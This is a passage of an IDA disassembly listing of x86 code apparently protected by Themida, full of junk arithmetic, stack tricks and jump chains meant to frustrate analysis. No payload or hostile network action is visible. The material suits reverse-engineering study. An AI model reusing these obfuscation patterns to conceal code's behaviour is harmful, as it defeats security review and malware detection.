; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_596B92:				; CODE XREF: sub_5EC2E8-5F41Ej
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		xor	edi, [esp+28h+var_28]
		xor	[esp+28h+var_28], edi
		jmp	loc_592A0C
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_596BA6:				; CODE XREF: sub_594654-1E8Cj
		mov	esi, 5E62039Ch
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 6ED403E0h
		shr	edi, 6
		jmp	loc_58A7F9
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596BBC:				; CODE XREF: sub_5916C4-3A01j
		pop	ecx
		sub	ebp, 30103AF3h
		add	ebp, edx
		jmp	loc_58A806
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596BCA:				; CODE XREF: sub_58C17E+380Bj
		mov	ebp, ebx
		jmp	loc_58F572
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_596BD1:				; CODE XREF: Themida_:005944B7j
		sub	eax, esi
		jmp	loc_58A508
; ---------------------------------------------------------------------------


loc_596BD8:				; CODE XREF: Themida_:00594858j
		mov	esi, 5D525905h
		add	[esp+8], esi
		jmp	loc_591966
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_596BE6:				; CODE XREF: sub_59762D-BDDEj
		mov	ebx, 621874E6h
		add	edx, ebx
		pop	ebx
		push	eax
		jmp	loc_58CF15
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_596BF4:				; CODE XREF: sub_5EC2E8-59E84j
		add	eax, 3EBB71EBh
		jmp	loc_5960FD
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_596BFE:				; CODE XREF: sub_5916CB-654j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_592C84
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_596C13:				; CODE XREF: Themida_:0059800Aj
		pop	eax
		dec	dh
		not	dh
		shl	dh, 5
		sub	esp, 4
		jmp	loc_58E986
; ---------------------------------------------------------------------------


loc_596C26:				; CODE XREF: Themida_:005938EAj
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_596C32:				; CODE XREF: Themida_:0058F81Bj
		mov	[esp], edi
		mov	edi, 702A2A29h
		xor	esi, edi
		pop	edi
		sub	esi, 0FFFFFFFFh
		sub	esi, 52333FDFh
		jmp	loc_597AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_596C4E:				; CODE XREF: sub_5EC2E8-5F6B3j
		pop	eax
		sub	bh, 73h
		push	cx
		mov	cl, 1Fh
		xor	bh, cl
		jmp	loc_58EB86
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_596C5D:				; CODE XREF: Themida_:0059457Aj
		pop	ax
		push	small 49D4h
		mov	[esp], ax
		push	11C7h
		mov	[esp], ecx
		push	edx
		jmp	loc_596E26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592857


loc_596C75:				; CODE XREF: sub_592857-D5Aj
		push	[esp+10h+var_10]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 675C3153h
		jmp	loc_58B2CF
; END OF FUNCTION CHUNK	FOR sub_592857
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_596C87:				; CODE XREF: sub_58F5B5+7183j
		mov	[esp+4+var_4], edx
		jmp	loc_596D0E
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58C8A1

; =============== S U B	R O U T	I N E =======================================



sub_596CA1	proc near		; CODE XREF: sub_5EC2E8-57B03j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A530 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C133 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D34A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EB3C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005923CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592F53 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595934 SIZE 00000007 BYTES

		push	ebx
		mov	bl, 1Ch
		not	bl
		jmp	loc_592F53
sub_596CA1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_596CAB:				; CODE XREF: sub_590467-32D7j
		pop	ecx
		jmp	loc_58DA3B
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_596CB1:				; CODE XREF: Themida_:00596978j
		sub	esi, 4
		push	1F5h
		jmp	loc_595D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596CC1:				; CODE XREF: sub_5916C4+6898j
		mov	[esp-18h+arg_14], esi
		jmp	loc_5943BF
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596CC9:				; CODE XREF: sub_58C17E+467Bj
		pop	edi
		push	ebp
		mov	ebp, 3F3F21CFh
		add	ebp, 0D464851h
		xor	ebp, 4C856A24h
		add	edi, ebp
		mov	ebp, [esp-0Eh+arg_8+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_58FC27
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E3A6


loc_596CEF:				; CODE XREF: sub_58E3A6+80F9j
		not	ebp
		jmp	loc_58FB66
; END OF FUNCTION CHUNK	FOR sub_58E3A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_596CF6:				; CODE XREF: sub_595258-8982j
		push	edx
		push	0A5C0167h
		pop	edx
		not	edx
		jmp	loc_592EC5
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_596D04:				; CODE XREF: sub_5938B9-5947j
		mov	esi, 75D17666h
		jmp	loc_58AFF5
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_596D0E:				; CODE XREF: sub_58F5B5+76D5j
		push	esp
		jmp	loc_593165
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_596D1C:				; CODE XREF: Themida_:0058BEBBj
		xor	ebx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_591F22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_596D28:				; CODE XREF: sub_595BDA-AEDAj
		push	3185h
		mov	[esp+0], eax
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_596D35:				; CODE XREF: Themida_:0058ABD7j
		shr	ebp, 1
		jmp	loc_59602D
; ---------------------------------------------------------------------------


loc_596D3C:				; CODE XREF: Themida_:0058C185j
		mov	cl, 68h
		sub	cl, 0D4h
		mov	dl, cl
		pop	ecx
		xor	cl, dl
		mov	edx, [esp]
		jmp	loc_591EFC
; ---------------------------------------------------------------------------


loc_596D4E:				; CODE XREF: Themida_:0058D080j
		push	esp
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, 4
		push	edi
		mov	edi, 45FF1514h
		add	edi, 4A244E96h
		jmp	loc_5917E3
; ---------------------------------------------------------------------------


loc_596D79:				; CODE XREF: Themida_:00594863j
		sub	ebp, 7579B725h
		add	eax, ebp
		pop	ebp
		add	ebx, 49C54DB2h
		add	ebx, 71D376C7h
		add	ebx, eax
		sub	ebx, 71D376C7h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 49C54DB2h
		jmp	loc_593ADA
; ---------------------------------------------------------------------------


loc_596DA9:				; CODE XREF: Themida_:0058A4B8j
		push	esi
		mov	esi, 27C343FCh
		jmp	loc_595BE8
; ---------------------------------------------------------------------------


loc_596DB4:				; CODE XREF: Themida_:00593E6Aj
		pop	edx
		pop	edi
		jmp	loc_590746
; ---------------------------------------------------------------------------


loc_596DBB:				; CODE XREF: Themida_:0058E014j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		or	[esp], eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_596DCD:				; CODE XREF: Themida_:0059536Fj
		mov	[esp], edx
		mov	edx, 11C72BB5h
		jmp	loc_597DF5
; ---------------------------------------------------------------------------


loc_596DDA:				; CODE XREF: Themida_:0059423Aj
		pop	esp
		jmp	loc_597176
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_58C4BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596DEA:				; CODE XREF: sub_5916C4-4A12j
		mov	[esp+2+var_4+2], eax
		push	[esp+2+var_4+2]
		pop	edi
		jmp	loc_592B57
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_596DF6:				; CODE XREF: Themida_:0058B5B5j
		not	eax
		inc	eax
		sub	eax, 0BD06D2B0h
		add	esi, eax
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_596812
; ---------------------------------------------------------------------------


loc_596E17:				; CODE XREF: Themida_:0058E59Bj
		mov	dh, ah
		mov	bh, dh
		pop	edx
		pop	ax
		xchg	bh, [esp]
		jmp	loc_58FD23
; ---------------------------------------------------------------------------


loc_596E26:				; CODE XREF: Themida_:00596C70j
		push	eax
		mov	ah, bh
		jmp	loc_597762
; ---------------------------------------------------------------------------


loc_596E2E:				; CODE XREF: Themida_:0058BC2Aj
		pop	edi
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		jmp	loc_597421
; ---------------------------------------------------------------------------


loc_596E3A:				; CODE XREF: Themida_:00590F9Bj
		pop	edx
		add	cl, 65h
		jmp	loc_58B4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_596E43:				; CODE XREF: sub_5938B9-3379j
		mov	edi, 2
		mov	ebx, edi
		pop	edi
		add	edi, ebx
		pop	ebx
		xor	edi, [esp+0]
		jmp	loc_58FD28
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_596E56:				; CODE XREF: Themida_:005967A6j
		mov	ah, ch
		jmp	loc_594571
; ---------------------------------------------------------------------------


loc_596E5D:				; CODE XREF: Themida_:0058DE9Aj
		shl	eax, 5
		neg	eax
		shr	eax, 2
		xor	eax, 3C267D0Ah
		sub	ecx, 44DB1980h
		add	ecx, eax
		add	ecx, 44DB1980h
		jmp	loc_5941C8
; ---------------------------------------------------------------------------


loc_596E7D:				; CODE XREF: Themida_:00594D9Dj
		neg	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_597442
; ---------------------------------------------------------------------------


loc_596E88:				; CODE XREF: Themida_:00597EEBj
		sub	dx, 9C46h
		add	ax, dx
		pop	edx
		sub	dx, 147h
		sub	dx, ax
		add	dx, 147h
		pop	eax
		add	ax, 1C2Eh
		sub	ax, 3C8Bh
		jmp	loc_58CA47
; ---------------------------------------------------------------------------


loc_596EAC:				; CODE XREF: Themida_:00594586j
		mov	[esp], dx
		push	ebx
		mov	bl, 53h
		jmp	loc_58CF5D

; =============== S U B	R O U T	I N E =======================================



sub_596EB8	proc near		; CODE XREF: sub_594131-50A5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005903C7 SIZE 00000064 BYTES

		push	ebx
		mov	ebx, 4
		jmp	loc_5903C7
sub_596EB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_596EC3:				; CODE XREF: sub_5916CB+4FAEj
		mov	ebx, 23A0077h
		add	eax, ebx
		pop	ebx
		sub	eax, 1220BF9h
		add	eax, ebp
		add	eax, 1220BF9h
		push	ebx
		mov	ebx, 23A0077h
		sub	eax, ebx
		pop	ebx
		pop	ebp
		mov	ebx, eax
		jmp	loc_58ADEC
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596EE8:				; CODE XREF: sub_5916C4+5E81j
		pop	ebx
		xor	ebp, eax
		pop	eax
		and	eax, ebp
		mov	ebp, [esp-6+arg_0+2]
		add	esp, 4
		push	edx
		mov	edx, 1Ch
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_594C3C
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_596F03:				; CODE XREF: Themida_:005968D4j
					; Themida_:0059746Dj
		push	ebp
		jmp	loc_5945EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_596F09:				; CODE XREF: Themida_:0058F911j
					; sub_5938B9-39E5j
		mov	edx, ebp
		pop	ebp
		add	edx, 1
		jmp	loc_58DCE7
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596F17:				; CODE XREF: sub_58C17E+9B18j
		jno	loc_58E5FA
		push	edx
		mov	dl, 0D7h
		add	bl, dl
		pop	edx
		add	bl, 0E8h
		push	ecx
		mov	ax, word ptr [esp+6+var_8+2]
		push	edi
		push	esp
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 2
		jmp	loc_58B4E8
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_596F48:				; CODE XREF: Themida_:0058E0ECj
		pop	eax
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_596863
; ---------------------------------------------------------------------------


loc_596F5B:				; CODE XREF: Themida_:0058CA02j
		add	esp, 4
		push	0BF9h
		jmp	loc_597D8C
; ---------------------------------------------------------------------------


loc_596F6B:				; CODE XREF: Themida_:00596081j
		shl	ecx, 1
		xor	ecx, 65C202F9h
		add	ecx, 282E8A24h
		add	edx, ecx
		jmp	loc_58BC9F
; ---------------------------------------------------------------------------


loc_596F80:				; CODE XREF: Themida_:00591EB0j
		pop	eax
		jmp	loc_592B28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596F86:				; CODE XREF: sub_58F091-2A9Cj
					; sub_58C17E+6DF0j
		xor	ebx, 703859EDh
		shr	ebx, 7
		jnz	loc_58C630
		xor	ebx, 6B84F12Bh
		jmp	loc_58CBB7
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		mov	ah, al


loc_596FA2:				; CODE XREF: Themida_:005922DBj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	7C18h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_591EAB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		push	2DC1h
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		push	dword ptr [esp]
		jmp	loc_590D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_596FEE:				; CODE XREF: sub_5EC2E8-573CBj
		mov	al, 0D5h
		jmp	loc_597F61
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596FF5:				; CODE XREF: sub_5916C4-1566j
		xor	eax, 663D227Ah
		add	ecx, eax
		pop	eax
		add	ecx, 357F3E30h
		push	675Bh
		mov	[esp+1Ah+var_1A], ebp
		mov	ebp, 38213202h
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 77496B4Eh
		push	ecx
		push	ebx
		mov	ebx, 173129F2h
		neg	ebx
		jnz	loc_591573
		shl	ebx, 2
		and	ebx, 25C8004Ch
		mov	dh, 51h


loc_597037:				; CODE XREF: sub_5916C4-7E1j
					; sub_595E21-4A9Dj
		pop	ebx
		jmp	loc_590A17
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59703D:				; CODE XREF: sub_590467+7B7Fj
		sub	edi, 0C0E3F7C9h
		jmp	loc_58C413
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_597048:				; CODE XREF: sub_595655+691j
		push	esi
		mov	esi, 64F611C8h
		push	eax
		mov	eax, 91E28D7h
		not	eax
		jmp	loc_58CA3D
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------


loc_59705B:				; CODE XREF: Themida_:0058E81Bj
		add	al, cl
		jmp	loc_58AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594FD6


loc_597062:				; CODE XREF: sub_594FD6-49Ej
		push	edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	al, ch
		push	ecx
		mov	ch, al
		jmp	loc_591B43
; END OF FUNCTION CHUNK	FOR sub_594FD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_597076:				; CODE XREF: sub_5EC2E8-60C2Dj
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		sub	esp, 4
		jmp	loc_590072
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_597091:				; CODE XREF: sub_591059+6108j
		mov	ecx, 1C04258Eh
		jmp	loc_58BF59
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_59709B:				; CODE XREF: sub_595E21-7C2Bj
		xor	ecx, eax
		sub	esp, 4
		mov	[esp-4+arg_0], esi
		mov	esi, ebx
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_594440
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5970B0:				; CODE XREF: sub_59762D-1B5j
		push	edx
		jmp	loc_590512
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5970B6:				; CODE XREF: Themida_:00597C0Fj
		add	dword ptr [esp], 4
		jmp	loc_592C1D
; ---------------------------------------------------------------------------


loc_5970BF:				; CODE XREF: Themida_:00591F2Fj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_58BFA6
; ---------------------------------------------------------------------------


loc_5970CF:				; CODE XREF: Themida_:0058CFA2j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_597185
; ---------------------------------------------------------------------------


loc_5970E9:				; CODE XREF: Themida_:0058C028j
		not	eax
		xor	eax, 33461978h
		jnz	loc_5954AD
		add	eax, 7A53A2CDh
		mov	esi, eax
		pop	eax
		push	edx
		add	al, 44h


loc_597101:				; CODE XREF: Themida_:0058A3A4j
		pop	esp
		movsx	ecx, al
		jmp	loc_58AB39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_59710A:				; CODE XREF: sub_594654-265Cj
		mov	ebp, 0E7655502h
		xor	ecx, ebp
		jmp	loc_58F4AC
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_597116:				; CODE XREF: sub_595258+1j
		mov	ebp, 9061188h
		shr	ebp, 1
		push	ebp
		jmp	loc_58DFC2
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------


loc_597123:				; CODE XREF: Themida_:00596A5Fj
		mov	eax, edx
		pop	edx
		jmp	loc_597B57
; ---------------------------------------------------------------------------


loc_59712B:				; CODE XREF: Themida_:00595B0Fj
		add	eax, edx
		jmp	loc_592777
; ---------------------------------------------------------------------------


loc_597132:				; CODE XREF: Themida_:0058FC6Dj
		push	esi
		mov	esi, 0B0104A7h
		push	esi
		xor	dword ptr [esp], 1ED154E1h
		pop	ebp
		xor	ebp, 1ED154E1h
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, eax
		pop	eax
		mov	edx, ebp
		jmp	loc_595CFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_59715A:				; CODE XREF: sub_591059+4D60j
		push	esi
		mov	esi, 1379189Ch
		push	ecx
		jmp	loc_597091
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_597166:				; CODE XREF: sub_595E21-181Ej
		pop	ebx
		jmp	loc_58EBDE
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592857


loc_59716C:				; CODE XREF: sub_592857-6ECAj
		mov	eax, edx
		mov	edx, [esp+4+var_4]
		jmp	loc_592427
; END OF FUNCTION CHUNK	FOR sub_592857
; ---------------------------------------------------------------------------


loc_597176:				; CODE XREF: Themida_:00596DDBj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		jmp	loc_58B744
; ---------------------------------------------------------------------------


loc_597185:				; CODE XREF: Themida_:005970E4j
		push	2588h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4BF47C81h
		add	ebx, 5F8601D1h
		jmp	loc_595AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_5971A0:				; CODE XREF: sub_595258-8562j
		xor	[esp+14h+var_14], ebx
		xor	ebx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		push	4CDDh
		mov	[esp+4+var_4], edx
		sub	esp, 4
		jmp	loc_58E3DD
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5971BC:				; CODE XREF: sub_58C17E+A616j
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5971C1:				; CODE XREF: Themida_:0058B873j
		pop	edi
		shr	esi, 5
		jmp	loc_58DD46
; ---------------------------------------------------------------------------


loc_5971CA:				; CODE XREF: Themida_:0058BCFAj
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_5971D3:				; CODE XREF: Themida_:00590FB6j
		jmp	loc_5976EB
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0EBh
		shl	ah, 3
		dec	ah
		shr	ah, 2
		sub	ah, 1Eh
		jmp	loc_58F636
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5971F4:				; CODE XREF: sub_58F5B5+1EBj
		add	esp, 2
		sub	bl, 35h
		sub	bl, al
		add	bl, 35h
		push	ecx
		mov	cl, 83h
		shr	cl, 2
		not	cl
		jmp	loc_596445
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_59720F:				; CODE XREF: Themida_:00593D12j
		mov	ebx, 7061762Dh
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	ebp, 63C718D9h
		shl	ebp, 1
		jmp	loc_58FD09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_59722C:				; CODE XREF: sub_5EC2E8-59925j
					; Themida_:005972FEj
		mov	esp, [esp+28h+var_28]
		push	esi
		mov	esi, 442000D6h
		jmp	loc_58DA5E
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_59723A:				; CODE XREF: Themida_:0059142Dj
		push	52984655h
		pop	eax
		dec	eax
		xor	eax, 0C4C7497h
		jnp	loc_59078F
		push	esi
		mov	esi, 42161691h
		and	esi, 4C635499h
		shr	esi, 1
		jmp	loc_5944A7
; ---------------------------------------------------------------------------


loc_59725F:				; CODE XREF: Themida_:0058C9E4j
					; Themida_:00590840j
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_58DCFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_59726D:				; CODE XREF: sub_5EC2E8-58E1Cj
		add	edx, 0FE089FAAh
		jmp	loc_594DA9
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_597288:				; CODE XREF: Themida_:0058A40Aj
		pop	esi
		add	eax, ebp
		pop	ebp
		jmp	loc_597AF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597291:				; CODE XREF: sub_58C17E+765Dj
		push	cx
		pushf
		jmp	loc_58EE52
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_597299:				; CODE XREF: sub_590467-404Fj
		add	esp, 4
		jmp	loc_58BB9C
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5966C1


loc_5972A4:				; CODE XREF: sub_5966C1-819Cj
		add	eax, edi
		sub	eax, 157A4D65h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_58AFEA
; END OF FUNCTION CHUNK	FOR sub_5966C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E0C4


loc_5972BC:				; CODE XREF: sub_58E0C4+2j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59000C
; END OF FUNCTION CHUNK	FOR sub_58E0C4
; ---------------------------------------------------------------------------


loc_5972CE:				; CODE XREF: Themida_:00594AD4j
		add	bl, cl
		mov	cx, [esp]
		push	esi
		push	esp
		jmp	loc_596A87
; ---------------------------------------------------------------------------


loc_5972DB:				; CODE XREF: Themida_:0058E30Fj
		mov	edx, 4D782BD5h
		xor	esi, edx
		jmp	loc_58BD46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5972E7:				; CODE XREF: sub_5916C4+3588j
		add	edx, 2DAA71E6h
		xor	edx, 7F1F01DCh
		ja	loc_58B3F0
		jmp	loc_591709
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		jmp	loc_59722C
; ---------------------------------------------------------------------------
		xchg	esi, ebp
; START	OF FUNCTION CHUNK FOR sub_5966C1


loc_597305:				; CODE XREF: Themida_:0058E78Aj
					; sub_5966C1+Fj
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 2
		push	edx
		mov	edx, 12C013DCh
		xor	edx, 3D2C239Bh
		dec	edx
		jmp	loc_5956A6
; END OF FUNCTION CHUNK	FOR sub_5966C1
; ---------------------------------------------------------------------------


loc_597324:				; CODE XREF: Themida_:0059499Bj
		pop	dword ptr [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	ecx
		sub	esp, 4
		push	esp
		jmp	loc_58AE07
; ---------------------------------------------------------------------------


loc_59733B:				; CODE XREF: Themida_:005968E8j
		xor	dh, 4Ch
		mov	bh, dh
		pop	edx
		neg	bh
		shr	bh, 1
		jmp	loc_594452
; ---------------------------------------------------------------------------


loc_59734A:				; CODE XREF: Themida_:0058E2EDj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	2079h
		mov	[esp], edx
		mov	edx, 4
		sub	esi, 5397FE8h
		add	esi, 9A24B9Eh
		add	esi, edx
		sub	esi, 9A24B9Eh
		add	esi, 5397FE8h
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58ED43
; ---------------------------------------------------------------------------


loc_59738C:				; CODE XREF: Themida_:0058E183j
		shr	ch, 8
		neg	ch
		jmp	loc_58A60A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_597396:				; CODE XREF: sub_58F5B5+75D1j
		mov	edi, esi
		mov	ebx, edi
		pop	edi
